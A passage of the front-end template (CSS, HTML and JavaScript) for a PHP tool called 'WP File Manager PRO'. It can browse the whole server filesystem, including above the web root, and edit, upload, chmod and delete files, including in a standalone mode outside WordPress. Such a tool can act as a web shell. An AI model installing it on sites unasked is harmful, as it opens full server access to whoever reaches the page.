.ipd{background:#ffe7e7;color:#d63638}
.id{background:#e7f1f9;color:#2271b1}
.ixl{background:#e7f5e7;color:#00a32a}
.idef{background:#f0f0f1;color:#646970}
.finfo{display:flex;flex-direction:column;min-width:0;gap:2px}
.ftitle{font-weight:500;color:var(--t);overflow:hidden;text-overflow:ellipsis;white-space:nowrap;font-size:13px}
.fr:hover .ftitle{color:var(--p)}
.fmeta{font-size:10px;color:var(--tl);text-transform:uppercase;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}
.lsz,.ltp,.lm{font-size:12px;color:var(--tl)}
.lact{display:flex;gap:3px;flex-wrap:wrap}
.abtn{background:#fff;border:1px solid var(--b);width:28px;height:28px;display:flex;align-items:center;justify-content:center;border-radius:4px;cursor:pointer;color:var(--tl);transition:all .2s;font-size:11px;padding:0}
.abtn:hover{background:var(--pl);border-color:var(--p);color:var(--p)}
.abtn.dngr:hover{background:#ffebe8;border-color:var(--d);color:var(--d)}
.es{text-align:center;padding:60px 20px;color:var(--tl)}
.es i{font-size:48px;color:#dcdcde;margin-bottom:16px;display:block}
.es h3{font-size:16px;font-weight:500;color:var(--t);margin-bottom:6px}
.status{background:var(--gl);padding:8px 16px;display:flex;justify-content:space-between;align-items:center;border-top:1px solid var(--b);font-size:11px;color:var(--tl);flex-wrap:wrap;gap:8px}
.status-r{display:flex;align-items:center;gap:10px}
.status-sep{color:#dcdcde}
.modal{display:none;position:fixed;top:0;left:0;width:100%;height:100%;background:rgba(0,0,0,.5);z-index:100000;align-items:center;justify-content:center;padding:20px}
.modal.on{display:flex}
.mc{background:#fff;border-radius:var(--r);width:100%;max-width:520px;box-shadow:0 20px 60px rgba(0,0,0,.3);display:flex;flex-direction:column;max-height:90vh}
.mc.lg{max-width:900px}
.mh{padding:16px 20px;border-bottom:1px solid var(--b);display:flex;align-items:center;justify-content:space-between}
.mh h3{font-size:15px;font-weight:600;display:flex;align-items:center;gap:8px}
.mh h3 i{color:var(--p)}
.mclose{background:transparent;border:none;font-size:18px;cursor:pointer;color:var(--tl);padding:4px 8px;border-radius:4px}
.mclose:hover{background:var(--g);color:var(--t)}
.mb{padding:20px;overflow-y:auto;flex:1}
.mf{padding:14px 20px;border-top:1px solid var(--b);display:flex;justify-content:flex-end;gap:8px}
.fg{margin-bottom:16px}
.fg label{display:block;font-weight:500;font-size:12px;margin-bottom:6px}
.inp{width:100%;padding:9px 12px;border:1px solid var(--b);border-radius:4px;font-size:13px;font-family:inherit;transition:all .2s;background:#fff;color:var(--t)}
.inp:focus{border-color:var(--p);outline:none;box-shadow:0 0 0 2px rgba(34,113,177,.15)}
.fhelp{font-size:11px;color:var(--tl);margin-top:4px}
.etb{display:flex;align-items:center;justify-content:space-between;padding:10px 0;border-bottom:1px solid var(--b);margin-bottom:10px;flex-wrap:wrap;gap:10px}
.efp{font-family:'Courier New',monospace;font-size:12px;color:var(--tl);overflow:hidden;text-overflow:ellipsis;white-space:nowrap;flex:1;min-width:0}
.editor{width:100%;min-height:500px;padding:16px;border:1px solid var(--b);border-radius:4px;font-family:'Courier New',Consolas,monospace;font-size:13px;line-height:1.6;background:#f9f9f9;color:var(--t);resize:vertical;outline:none;tab-size:4}
.editor:focus{border-color:var(--p);background:#fff}
.ua{border:2px dashed var(--b);border-radius:var(--r);padding:40px 20px;text-align:center;cursor:pointer}
.ua:hover,.ua.drag{border-color:var(--p);background:var(--pl)}
.ua i{font-size:48px;color:var(--p);margin-bottom:12px;display:block}
.ua h4{font-size:14px;font-weight:500;margin-bottom:6px}
.ua p{font-size:12px;color:var(--tl);margin:8px 0}
.ul{margin-top:16px}
.ui{display:flex;align-items:center;justify-content:space-between;padding:8px 12px;background:var(--gl);border-radius:4px;margin-bottom:6px;font-size:12px}
.ui .name{flex:1;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}
.ui .size{color:var(--tl);margin:0 10px}
.ui .st{color:var(--s);font-weight:500}
.toasts{position:fixed;bottom:20px;right:20px;z-index:100001;display:flex;flex-direction:column;gap:8px}
.toast{background:var(--dk);color:#fff;padding:12px 18px;border-radius:4px;box-shadow:0 4px 12px rgba(0,0,0,.2);font-size:13px;display:flex;align-items:center;gap:10px;min-width:280px;max-width:400px}
.toast.success{background:var(--s)}
.toast.error{background:var(--d)}
.toast.warning{background:var(--w);color:var(--t)}
.toast.info{background:var(--p)}
.loading{display:none;position:fixed;top:0;left:0;width:100%;height:100%;background:rgba(255,255,255,.8);z-index:100002;align-items:center;justify-content:center;flex-direction:column;gap:16px}
.loading.on{display:flex}
.spinner{width:40px;height:40px;border:3px solid var(--g);border-top-color:var(--p);border-radius:50%;animation:spin .8s linear infinite}
@keyframes spin{to{transform:rotate(360deg)}}
.ltxt{font-size:13px;color:var(--tl);font-weight:500}
.dd{position:relative}
.ddm{display:none;position:absolute;top:100%;right:0;background:#fff;border:1px solid var(--b);border-radius:6px;box-shadow:0 4px 16px rgba(0,0,0,.15);padding:6px 0;min-width:200px;z-index:1000;margin-top:4px}
.ddm.on{display:block}
.ddm a{display:flex;align-items:center;gap:10px;padding:7px 14px;font-size:12px;color:var(--t);text-decoration:none;cursor:pointer}
.ddm a:hover{background:var(--pl);color:var(--p)}
.ddm a i{width:14px;text-align:center;color:var(--tl)}
.ddm a:hover i{color:var(--p)}
.dvd{height:1px;background:var(--b);margin:4px 0}
.dng{color:var(--d)!important}
@media(max-width:1100px){.sb{width:220px}.lh,.fr{grid-template-columns:40px 1fr 80px 80px 130px}}
@media(max-width:900px){.lh,.fr{grid-template-columns:40px 1fr 80px 180px}.lm,.lh>div:nth-child(5){display:none}.sb{display:none}}
@media(max-width:700px){.lh,.fr{grid-template-columns:36px 1fr 140px}.lsz,.ltp,.lm{display:none}.lh>div:nth-child(3),.lh>div:nth-child(4),.lh>div:nth-child(5){display:none}.content{flex-direction:column}}
</style>
</head>
<body>

<div class="app">
    <div class="hd">
        <div class="logo"><i class="fas fa-folder-open"></i> WP File Manager <span class="pro">PRO</span></div>
        <div class="hd-r">
            <button class="btn btn-i" id="refresh" title="Refresh"><i class="fas fa-sync-alt"></i></button>
            <button class="btn btn-i" id="upload-trigger" title="Upload"><i class="fas fa-cloud-upload-alt"></i></button>
            <button class="btn btn-i" id="new-folder" title="New Folder"><i class="fas fa-folder-plus"></i></button>
            <button class="btn btn-i" id="new-file" title="New File"><i class="fas fa-file-medical"></i></button>
            <div class="dd">
                <button class="btn btn-i" id="more-btn"><i class="fas fa-ellipsis-v"></i></button>
                <div class="ddm" id="more-menu">
                    <a data-action="select-all"><i class="fas fa-check-double"></i> Select All</a>
                    <a data-action="deselect-all"><i class="fas fa-times"></i> Deselect All</a>
                    <div class="dvd"></div>
                    <a data-action="paste"><i class="fas fa-paste"></i> Paste</a>
                    <a data-action="archive-selected"><i class="fas fa-file-archive"></i> Archive Selected</a>
                    <div class="dvd"></div>
                    <a data-action="delete-selected" class="dng"><i class="fas fa-trash-alt"></i> Delete Selected</a>
                </div>
            </div>
        </div>
    </div>

    <div class="tb">
        <div class="tb-l">
            <button class="tbtn" id="up-btn" title="Up"><i class="fas fa-arrow-up"></i></button>
            <button class="tbtn" id="home-btn" title="Home"><i class="fas fa-home"></i></button>
            <button class="tbtn" id="root-btn" title="Filesystem Root"><i class="fas fa-server"></i></button>
            <div class="pbar">
                <i class="fas fa-folder-open"></i>
                <input type="text" id="path-input" value="<?= esc_attr($current) ?>" spellcheck="false">
                <button class="pgo" id="path-go"><i class="fas fa-arrow-right"></i></button>
            </div>
        </div>
        <div class="tb-r">
            <div class="search">
                <i class="fas fa-search"></i>
                <input type="text" id="search" placeholder="Search...">
            </div>
        </div>
    </div>

    <div class="bc" id="breadcrumb">
        <?php foreach ($breadcrumb as $i => $c): ?>
            <?php if ($i > 0): ?><span class="sep"><i class="fas fa-chevron-right"></i></span><?php endif; ?>
            <a data-path="<?= esc_attr($c['path']) ?>">
                <?php if ($i === 0): ?><i class="fas fa-server"></i> <?php endif; ?>
                <?= esc_html($c['name']) ?>
            </a>
        <?php endforeach; ?>
    </div>

    <div class="content">
        <div class="sb">
            <div class="sbs">
                <div class="sbt"><i class="fas fa-bolt"></i> Quick Access</div>
                <a class="sbl" data-path="<?= esc_attr(dirname(__FILE__)) ?>"><i class="fas fa-file-code"></i> Script Folder</a>
                <a class="sbl" data-path="<?= esc_attr($doc_root) ?>"><i class="fas fa-globe"></i> Web Root</a>
                <a class="sbl" data-path="<?= esc_attr(dirname($doc_root)) ?>"><i class="fas fa-level-up-alt"></i> Above Web Root</a>
                <a class="sbl" data-path="<?= esc_attr($home) ?>"><i class="fas fa-user"></i> Home</a>
                <a class="sbl" data-path="/"><i class="fas fa-server"></i> Filesystem Root</a>
            </div>
            <div class="sbs">
                <div class="sbt"><i class="fas fa-info-circle"></i> Storage</div>
                <div class="sbar"><div class="sfill" style="width:<?= esc_attr($disk_percent) ?>%"></div></div>
                <div class="stxt">
                    <span><?= wpfm_size_format($disk_total - $disk_free) ?> used</span>
                    <span><?= wpfm_size_format($disk_free) ?> free</span>
                </div>
            </div>
            <div class="sbs">
                <div class="sbt"><i class="fas fa-tachometer-alt"></i> System</div>
                <div class="sir"><span>PHP</span><span><?= esc_html(phpversion()) ?></span></div>
                <div class="sir"><span>Upload</span><span><?= wpfm_size_format(wpfm_max_upload()) ?></span></div>
                <div class="sir"><span>Memory</span><span><?= esc_html(ini_get('memory_limit')) ?></span></div>
                <div class="sir"><span>Mode</span><span><?= defined('WPFM_STANDALONE') ? 'Standalone' : 'WordPress' ?></span></div>
            </div>
        </div>

        <div class="main">
            <div class="selbar" id="selbar">
                <div class="selinfo"><span id="selcount">0</span> items selected</div>
                <div class="selact">
                    <button class="btn btn-sm" data-selaction="copy"><i class="fas fa-copy"></i> Copy</button>
                    <button class="btn btn-sm" data-selaction="move"><i class="fas fa-arrows-alt"></i> Move</button>
                    <button class="btn btn-sm" data-selaction="archive"><i class="fas fa-file-archive"></i> Archive</button>
                    <button class="btn btn-sm btn-d" data-selaction="delete"><i class="fas fa-trash-alt"></i> Delete</button>
                    <button class="btn btn-sm btn-g" data-selaction="deselect"><i class="fas fa-times"></i></button>
                </div>
            </div>

            <div class="fl">
                <div class="lh">
                    <div class="lc"><input type="checkbox" id="check-all"></div>
                    <div>Name</div>
                    <div>Size</div>
                    <div>Type</div>
                    <div class="lm">Modified</div>
                    <div>Actions</div>
                </div>
                <div class="lb" id="list-body">
                    <?php echo wpfm_render_list($current); ?>
                </div>
            </div>
        </div>
    </div>

    <div class="status">
        <div><span id="status-text">Ready</span></div>
        <div class="status-r">
            <span id="item-count"><?= wpfm_count($current) ?> items</span>
            <span class="status-sep">|</span>
            <span>Path: <span id="status-path"><?= esc_html($current) ?></span></span>
        </div>
    </div>
</div>

<!-- MODALS -->
<div class="modal" id="editor-modal">
    <div class="mc lg">
        <div class="mh"><h3><i class="fas fa-code"></i> <span id="editor-title">Edit File</span></h3><button class="mclose" data-close="editor-modal"><i class="fas fa-times"></i></button></div>
        <div class="mb">
            <div class="etb">
                <span class="efp" id="editor-path"></span>
                <button class="btn btn-sm btn-s" id="editor-save"><i class="fas fa-save"></i> Save</button>
            </div>
            <textarea id="editor-content" class="editor" spellcheck="false"></textarea>
        </div>
    </div>
</div>

<div class="modal" id="rename-modal">
    <div class="mc">
        <div class="mh"><h3><i class="fas fa-pen"></i> Rename</h3><button class="mclose" data-close="rename-modal"><i class="fas fa-times"></i></button></div>
        <div class="mb">
            <div class="fg">
                <label>New Name</label>
                <input type="text" id="rename-input" class="inp">
                <div class="fhelp" id="rename-current"></div>
            </div>
        </div>
        <div class="mf">
            <button class="btn btn-g" data-close="rename-modal">Cancel</button>
            <button class="btn btn-p" id="rename-confirm"><i class="fas fa-check"></i> Rename</button>
        </div>
    </div>
</div>

<div class="modal" id="newfolder-modal">
    <div class="mc">
        <div class="mh"><h3><i class="fas fa-folder-plus"></i> New Folder</h3><button class="mclose" data-close="newfolder-modal"><i class="fas fa-times"></i></button></div>
        <div class="mb"><div class="fg"><label>Folder Name</label><input type="text" id="newfolder-input" class="inp" placeholder="Enter folder name"></div></div>
        <div class="mf">
            <button class="btn btn-g" data-close="newfolder-modal">Cancel</button>
            <button class="btn btn-p" id="newfolder-confirm"><i class="fas fa-check"></i> Create</button>
        </div>
    </div>
</div>

<div class="modal" id="newfile-modal">
    <div class="mc">
        <div class="mh"><h3><i class="fas fa-file-medical"></i> New File</h3><button class="mclose" data-close="newfile-modal"><i class="fas fa-times"></i></button></div>
        <div class="mb"><div class="fg"><label>File Name</label><input type="text" id="newfile-input" class="inp" placeholder="e.g. myfile.php"></div></div>
        <div class="mf">
            <button class="btn btn-g" data-close="newfile-modal">Cancel</button>
            <button class="btn btn-p" id="newfile-confirm"><i class="fas fa-check"></i> Create</button>
        </div>
    </div>
</div>

<div class="modal" id="chmod-modal">
    <div class="mc">
        <div class="mh"><h3><i class="fas fa-lock"></i> Permissions</h3><button class="mclose" data-close="chmod-modal"><i class="fas fa-times"></i></button></div>
        <div class="mb">
            <div class="fg">
                <label>Permissions (octal)</label>
                <input type="text" id="chmod-input" class="inp" value="755" maxlength="4">
                <div class="fhelp">Example: 755 folders, 644 files</div>
            </div>
        </div>
        <div class="mf">
            <button class="btn btn-g" data-close="chmod-modal">Cancel</button>
            <button class="btn btn-p" id="chmod-confirm"><i class="fas fa-check"></i> Apply</button>
        </div>
    </div>
</div>

<div class="modal" id="upload-modal">
    <div class="mc">
        <div class="mh"><h3><i class="fas fa-cloud-upload-alt"></i> Upload</h3><button class="mclose" data-close="upload-modal"><i class="fas fa-times"></i></button></div>
        <div class="mb">
            <div class="ua" id="upload-area">
                <i class="fas fa-cloud-upload-alt"></i>
                <h4>Drag & Drop files here</h4>
                <p>or</p>
                <button class="btn btn-p" id="upload-browse">Browse Files</button>
                <input type="file" id="upload-input" multiple style="display:none;">
            </div>
            <div class="ul" id="upload-list"></div>
        </div>
        <div class="mf">
            <button class="btn btn-g" data-close="upload-modal">Cancel</button>
            <button class="btn btn-p" id="upload-confirm"><i class="fas fa-upload"></i> Upload</button>
        </div>
    </div>
</div>

<div class="modal" id="confirm-modal">
    <div class="mc">
        <div class="mh"><h3><i class="fas fa-exclamation-triangle" style="color:var(--w)"></i> Confirm</h3><button class="mclose" data-close="confirm-modal"><i class="fas fa-times"></i></button></div>
        <div class="mb"><p id="confirm-message"></p></div>
        <div class="mf">
            <button class="btn btn-g" data-close="confirm-modal">Cancel</button>
            <button class="btn btn-d" id="confirm-yes"><i class="fas fa-check"></i> Confirm</button>
        </div>
    </div>
</div>

<div class="toasts" id="toasts"></div>
<div class="loading" id="loading"><div class="spinner"></div><div class="ltxt">Processing...</div></div>

<script>
(function(){
'use strict';

var CFG = {
    currentPath: <?= json_encode($current) ?>,
    ajaxUrl: <?= json_encode($ajax_url) ?>,
    selfUrl: <?= json_encode($self_url) ?>,
    homeDir: <?= json_encode($home) ?>,
    isStandalone: <?= defined('WPFM_STANDALONE') ? 'true' : 'false' ?>,
    clipboard: null,
    uploadQueue: []
};

function $(s, c){ return (c || document).querySelector(s); }
function $$(s, c){ return Array.prototype.slice.call((c || document).querySelectorAll(s)); }

function toast(msg, type){
    type = type || 'info';
    var c = $('#toasts');
    var el = document.createElement('div');
    el.className = 'toast ' + type;
    var ic = type === 'success' ? 'check-circle' : type === 'error' ? 'exclamation-circle' : type === 'warning' ? 'exclamation-triangle' : 'info-circle';
    el.innerHTML = '<i class="fas fa-' + ic + '"></i><span>' + msg + '</span>';
    c.appendChild(el);
    setTimeout(function(){
        el.style.opacity = '0';
        el.style.transform = 'translateX(100%)';
        el.style.transition = 'all .3s';
        setTimeout(function(){ el.remove(); }, 300);
    }, 3500);
}

function showLoading(t){ var e = $('#loading'); if (t) $('.ltxt', e).textContent = t; e.classList.add('on'); }
function hideLoading(){ $('#loading').classList.remove('on'); }
function openModal(id){ $('#' + id).classList.add('on'); }
function closeModal(id){ $('#' + id).classList.remove('on'); }

function api(op, params, callback){
    params = params || {};
    var xhr = new XMLHttpRequest();
    xhr.open('POST', CFG.ajaxUrl, true);
    xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded; charset=UTF-8');
    xhr.setRequestHeader('X-Requested-With', 'XMLHttpRequest');
    xhr.onload = function(){
        var res;
        try { res = JSON.parse(xhr.responseText); }
        catch(e) { console.error('Response:', xhr.responseText); res = { success: false, data: { message: 'Invalid response' } }; }
        callback(res);
    };
    xhr.onerror = function(){ callback({ success: false, data: { message: 'Network error' } }); };

    var parts = [];
    if (CFG.isStandalone) parts.push('wpfm_ajax=1');
    else parts.push('action=wpfm_action');
    parts.push('wpfm_op=' + encodeURIComponent(op));

    for (var k in params) {
        if (k === 'items' && Array.isArray(params[k])) {
            params[k].forEach(function(v){ parts.push('items[]=' + encodeURIComponent(v)); });
        } else {
            parts.push(encodeURIComponent(k) + '=' + encodeURIComponent(params[k]));
        }
    }
    xhr.send(parts.join('&'));
}

function navigateTo(path){
    showLoading('Loading...');
    api('list', { path: path }, function(res){
        hideLoading();
        if (res && res.success) {
            CFG.currentPath = res.data.path;
            $('#path-input').value = res.data.path;
            $('#status-path').textContent = res.data.path;
            $('#list-body').innerHTML = res.data.html;
            $('#item-count').textContent = res.data.count + ' items';
            renderBreadcrumb(res.data.breadcrumb);
            clearSelection();
            bindRowEvents();
        } else {
            toast((res && res.data && res.data.message) || 'Failed', 'error');
        }
    });
}

function renderBreadcrumb(crumbs){
    var html = '';
    crumbs.forEach(function(c, i){
        if (i > 0) html += '<span class="sep"><i class="fas fa-chevron-right"></i></span>';
        html += '<a data-path="' + escAttr(c.path) + '">';
        if (i === 0) html += '<i class="fas fa-server"></i> ';
        html += escHtml(c.name) + '</a>';
    });
    $('#breadcrumb').innerHTML = html;
}

function escHtml(s){ var d = document.createElement('div'); d.textContent = String(s); return d.innerHTML; }
function escAttr(s){ return String(s).replace(/&/g,'&amp;').replace(/"/g,'&quot;').replace(/</g,'&lt;').replace(/>/g,'&gt;'); }
function basename(p){ return String(p).split('/').filter(Boolean).pop(); }

function getSelectedPaths(){ return $$('.item-check:checked', $('#list-body')).map(function(cb){ return cb.dataset.path; }); }
function clearSelection(){
    $$('.item-check').forEach(function(cb){ cb.checked = false; });
    $$('.fr').forEach(function(r){ r.classList.remove('sel'); });
    updateSelectionBar();
}
function updateSelectionBar(){
    var sel = getSelectedPaths();
    var bar = $('#selbar');
    if (sel.length > 0) { bar.classList.add('on'); $('#selcount').textContent = sel.length; }
    else bar.classList.remove('on');
    var all = $$('.item-check');
    var ca = $('#check-all');
    if (ca && all.length > 0) {
        ca.checked = sel.length === all.length && sel.length > 0;
        ca.indeterminate = sel.length > 0 && sel.length < all.length;
    }
}

function bindRowEvents(){
    $$('.fr', $('#list-body')).forEach(function(row){
        row.addEventListener('dblclick', function(e){
            if (e.target.closest('.abtn') || e.target.closest('.lc')) return;
            var path = row.dataset.path;
            var type = row.dataset.type;
            if (type === 'folder') navigateTo(path);
            else if (type === 'file') openEditor(path);
        });
        row.addEventListener('click', function(e){
            if (e.target.closest('.abtn') || e.target.closest('.lc')) return;
            if (row.classList.contains('parent')) { navigateTo(row.dataset.path); return; }
            var cb = row.querySelector('.item-check');
            if (cb) { cb.checked = !cb.checked; row.classList.toggle('sel', cb.checked); updateSelectionBar(); }
        });
    });

    $$('.item-check', $('#list-body')).forEach(function(cb){
        cb.addEventListener('click', function(e){ e.stopPropagation(); });
        cb.addEventListener('change', function(){
            var row = cb.closest('.fr');
            if (row) row.classList.toggle('sel', cb.checked);
            updateSelectionBar();
        });
    });

    $$('.abtn', $('#list-body')).forEach(function(btn){
        btn.addEventListener('click', function(e){
            e.preventDefault();
            e.stopPropagation();
            var row = btn.closest('.fr');
            if (!row) return;
            handleRowAction(btn.dataset.action, row);
        });
    });
}

function handleRowAction(action, row){
    var path = row.dataset.path;
    var name = row.dataset.name;
    switch(action){
        case 'edit': openEditor(path); break;
        case 'rename': openRenameModal(path, name); break;
        case 'chmod': openChmodModal(path); break;
        case 'delete': confirmDelete([path]); break;
        case 'download': downloadFile(path); break;
        case 'archive': archiveItems([path]); break;
        case 'extract': extractArchive(path); break;
    }
}

function openEditor(path){
    showLoading('Loading...');
    api('read', { path: path }, function(res){
        hideLoading();
        if (res && res.success) {
            $('#editor-content').value = res.data.content;
            $('#editor-title').textContent = 'Edit: ' + res.data.name;
            $('#editor-path').textContent = res.data.path;
            $('#editor-content').dataset.path = res.data.path;
            openModal('editor-modal');
            setTimeout(function(){ $('#editor-content').focus(); }, 150);
        } else toast((res && res.data && res.data.message) || 'Failed', 'error');
    });
}

function saveEditor(){
    var path = $('#editor-content').dataset.path;
    var content = $('#editor-content').value;
    if (!path) return;
    showLoading('Saving...');
    api('save', { path: path, content: content }, function(res){
        hideLoading();
        if (res && res.success) toast('File saved', 'success');
        else toast((res && res.data && res.data.message) || 'Save failed', 'error');
    });
}

function openRenameModal(path, name){
    $('#rename-input').value = name;
    $('#rename-input').dataset.path = path;
    $('#rename-current').textContent = 'Current: ' + name;
    openModal('rename-modal');
    setTimeout(function(){ var i = $('#rename-input'); i.focus(); i.select(); }, 150);
}

function confirmRename(){
    var path = $('#rename-input').dataset.path;
    var newName = $('#rename-input').value.trim();
    if (!newName) return;
    showLoading('Renaming...');
    api('rename', { old_path: path, new_name: newName }, function(res){
        hideLoading();
        if (res && res.success) {
            closeModal('rename-modal');
            toast(res.data.message || 'Renamed', 'success');
            navigateTo(CFG.currentPath);
        } else toast((res && res.data && res.data.message) || 'Rename failed', 'error');
    });
}

function openChmodModal(path){
    $('#chmod-input').dataset.path = path;
    $('#chmod-input').value = '755';
    openModal('chmod-modal');
    setTimeout(function(){ $('#chmod-input').focus(); }, 150);
}

function confirmChmod(){
    var path = $('#chmod-input').dataset.path;
    var mode = $('#chmod-input').value.trim();
    if (!/^[0-7]{3,4}$/.test(mode)) { toast('Use 755 or 644 format', 'error'); return; }
    showLoading('Changing...');
    api('chmod', { path: path, mode: mode }, function(res){
        hideLoading();
        if (res && res.success) {
            closeModal('chmod-modal');
            toast(res.data.message || 'Changed', 'success');
            navigateTo(CFG.currentPath);
        } else toast((res && res.data && res.data.message) || 'Failed', 'error');
    });
}

function confirmDelete(paths){
    if (!paths || paths.length === 0) { toast('No items', 'warning'); return; }
    var msg = paths.length === 1
        ? 'Permanently delete "' + basename(paths[0]) + '"?'
        : 'Permanently delete ' + paths.length + ' items?';
    $('#confirm-message').textContent = msg + ' Cannot be undone.';
    openModal('confirm-modal');
    $('#confirm-yes').onclick = function(){
        closeModal('confirm-modal');
        showLoading('Deleting...');
        api('delete', { items: paths }, function(res){
            hideLoading();
            if (res && res.success) {
                toast(res.data.message || 'Deleted', 'success');
                clearSelection();
                navigateTo(CFG.currentPath);
            } else toast((res && res.data && res.data.message) || 'Failed', 'error');
        });
    };
}

function downloadFile(path){
    var url = CFG.isStandalone
        ? CFG.selfUrl + '?wpfm_op=download&path=' + encodeURIComponent(path)
        : CFG.ajaxUrl + '?action=wpfm_action&wpfm_op=download&path=' + encodeURIComponent(path);
    var a = document.createElement('a');
    a.href = url;
    a.download = basename(path);
    document.body.appendChild(a);
    a.click();
    a.remove();
}

function archiveItems(paths){
    if (!paths || paths.length === 0) { toast('No items', 'warning'); return; }
    var name = prompt('Archive name:', 'archive_' + Date.now() + '.zip');
    if (!name) return;
    showLoading('Creating...');
    api('archive', { items: paths, path: CFG.currentPath, archive_name: name }, function(res){
        hideLoading();
        if (res && res.success) {
            toast(res.data.message || 'Created', 'success');
            navigateTo(CFG.currentPath);
        } else toast((res && res.data && res.data.message) || 'Failed', 'error');
    });
}

function extractArchive(path){
    showLoading('Extracting...');
    api('extract', { archive: path, destination: CFG.currentPath }, function(res){
        hideLoading();
        if (res && res.success) {
            toast(res.data.message || 'Extracted', 'success');
            navigateTo(CFG.currentPath);
        } else toast((res && res.data && res.data.message) || 'Failed', 'error');
    });
}

function copyItem(path){ CFG.clipboard = { action: 'copy', path: path }; toast('Copied. Navigate & Paste.', 'info'); }
function moveItem(path){ CFG.clipboard = { action: 'move', path: path }; toast('Ready. Navigate & Paste.', 'info'); }

function pasteItem(){
    if (!CFG.clipboard) { toast('Clipboard empty', 'warning'); return; }
    var action = CFG.clipboard.action;
    showLoading(action === 'copy' ? 'Copying...' : 'Moving...');
    api(action, { source: CFG.clipboard.path, destination: CFG.currentPath }, function(res){
        hideLoading();
        if (res && res.success) {
            toast(res.data.message || 'Done', 'success');
            CFG.clipboard = null;
            navigateTo(CFG.currentPath);
        } else toast((res && res.data && res.data.message) || 'Failed', 'error');
    });
}

function addFiles(files){ for (var i = 0; i < files.length; i++) CFG.uploadQueue.push(files[i]); renderUploadQueue(); }
function renderUploadQueue(){
    var list = $('#upload-list'); list.innerHTML = '';
    CFG.uploadQueue.forEach(function(file, idx){
        var el = document.createElement('div');
        el.className = 'ui';
        el.innerHTML = '<span class="name">' + escHtml(file.name) + '</span><span class="size">' + formatBytes(file.size) + '</span><span class="st" data-idx="' + idx + '">Pending</span>';
        list.appendChild(el);
    });
}
function uploadNext(){
    var idx = -1;
    for (var i = 0; i < CFG.uploadQueue.length; i++) if (!CFG.uploadQueue[i].uploaded) { idx = i; break; }
    if (idx === -1) {
        toast('All uploaded', 'success');
        closeModal('upload-modal');
        CFG.uploadQueue = [];
        $('#upload-list').innerHTML = '';
        navigateTo(CFG.currentPath);
        return;
    }
    uploadOne(CFG.uploadQueue[idx], idx);
}
function uploadOne(file, idx){
    var st = $('.ui .st[data-idx="' + idx + '"]');
    if (st) st.textContent = 'Uploading...';
    var fd = new FormData();
    fd.append('file', file);
    fd.append('path', CFG.currentPath);
    fd.append('wpfm_op', 'upload');
    if (CFG.isStandalone) fd.append('wpfm_ajax', '1');
    else fd.append('action', 'wpfm_action');
    var xhr = new XMLHttpRequest();
    xhr.open('POST', CFG.ajaxUrl, true);
    xhr.upload.onprogress = function(e){ if (e.lengthComputable && st) st.textContent = Math.round((e.loaded / e.total) * 100) + '%'; };
    xhr.onload = function(){
        try {
            var res = JSON.parse(xhr.responseText);
            if (res.success) { if (st) st.textContent = '✓ Done'; CFG.uploadQueue[idx].uploaded = true; uploadNext(); }
            else { if (st) st.textContent = '✗ Failed'; toast((res.data && res.data.message) || 'Upload failed', 'error'); }
        } catch(e) { if (st) st.textContent = '✗ Error'; toast('Upload error', 'error'); }
    };
    xhr.onerror = function(){ if (st) st.textContent = '✗ Error'; toast('Network error', 'error'); };
    xhr.send(fd);
}
function formatBytes(b){
    if (b === 0) return '0 B';
    var k = 1024, u = ['B','KB','MB','GB','TB'];
    var i = Math.floor(Math.log(b) / Math.log(k));
    return parseFloat((b / Math.pow(k, i)).toFixed(2)) + ' ' + u[i];
}

function bindUI(){
    $('#refresh').addEventListener('click', function(){ navigateTo(CFG.currentPath); });
    $('#upload-trigger').addEventListener('click', function(){ CFG.uploadQueue = []; $('#upload-list').innerHTML = ''; openModal('upload-modal'); });
    $('#new-folder').addEventListener('click', function(){ $('#newfolder-input').value = ''; openModal('newfolder-modal'); setTimeout(function(){ $('#newfolder-input').focus(); }, 150); });
    $('#new-file').addEventListener('click', function(){ $('#newfile-input').value = ''; openModal('newfile-modal'); setTimeout(function(){ $('#newfile-input').focus(); }, 150); });

    $('#more-btn').addEventListener('click', function(e){ e.stopPropagation(); $('#more-menu').classList.toggle('on'); });
    document.addEventListener('click', function(e){ if (!e.target.closest('.dd')) $('#more-menu').classList.remove('on'); });

    $$('#more-menu a').forEach(function(a){
        a.addEventListener('click', function(e){
            e.preventDefault();
            var action = a.dataset.action;
            $('#more-menu').classList.remove('on');
            switch(action){
                case 'select-all':
                    $$('.item-check', $('#list-body')).forEach(function(cb){ cb.checked = true; var r = cb.closest('.fr'); if (r) r.classList.add('sel'); });
                    updateSelectionBar();
                    break;
                case 'deselect-all': clearSelection(); break;
                case 'paste': pasteItem(); break;
                case 'archive-selected': archiveItems(getSelectedPaths()); break;
                case 'delete-selected': confirmDelete(getSelectedPaths()); break;
            }
        });
    });

    $('#up-btn').addEventListener('click', function(){
        var parent = CFG.currentPath.replace(/\/$/, '').split('/').slice(0, -1).join('/');
        if (parent === '') parent = '/';
        if (parent) navigateTo(parent + '/');
    });

    $('#home-btn').addEventListener('click', function(){ navigateTo(CFG.homeDir); });
    $('#root-btn').addEventListener('click', function(){ navigateTo('/'); });

    $('#path-go').addEventListener('click', function(){ navigateTo($('#path-input').value); });
    $('#path-input').addEventListener('keypress', function(e){ if (e.key === 'Enter') navigateTo(this.value); });

    $('#breadcrumb').addEventListener('click', function(e){
        var a = e.target.closest('a[data-path]');
        if (a) { e.preventDefault(); navigateTo(a.dataset.path); }
    });

    $$('.sbl').forEach(function(a){
        a.addEventListener('click', function(e){ e.preventDefault(); navigateTo(a.dataset.path); });
    });

    $('#search').addEventListener('input', function(){
        var q = this.value.toLowerCase().trim();
        $$('.fr', $('#list-body')).forEach(function(r){
            var n = (r.dataset.name || '').toLowerCase();
            r.style.display = (q === '' || n.indexOf(q) !== -1) ? '' : 'none';
        });
    });

    $('#check-all').addEventListener('change', function(){
        var c = this.checked;
        $$('.item-check', $('#list-body')).forEach(function(cb){
            cb.checked = c;
            var r = cb.closest('.fr'); if (r) r.classList.toggle('sel', c);
        });
        updateSelectionBar();
    });

    $$('#selbar [data-selaction]').forEach(function(b){
        b.addEventListener('click', function(){
            var a = b.dataset.selaction;
            var sel = getSelectedPaths();
            switch(a){
                case 'deselect': clearSelection(); break;
                case 'copy': if (sel.length === 1) copyItem(sel[0]); else toast('Select one item', 'warning'); break;
                case 'move': if (sel.length === 1) moveItem(sel[0]); else toast('Select one item', 'warning'); break;
                case 'archive': archiveItems(sel); break;
                case 'delete': confirmDelete(sel); break;
            }
        });
    });

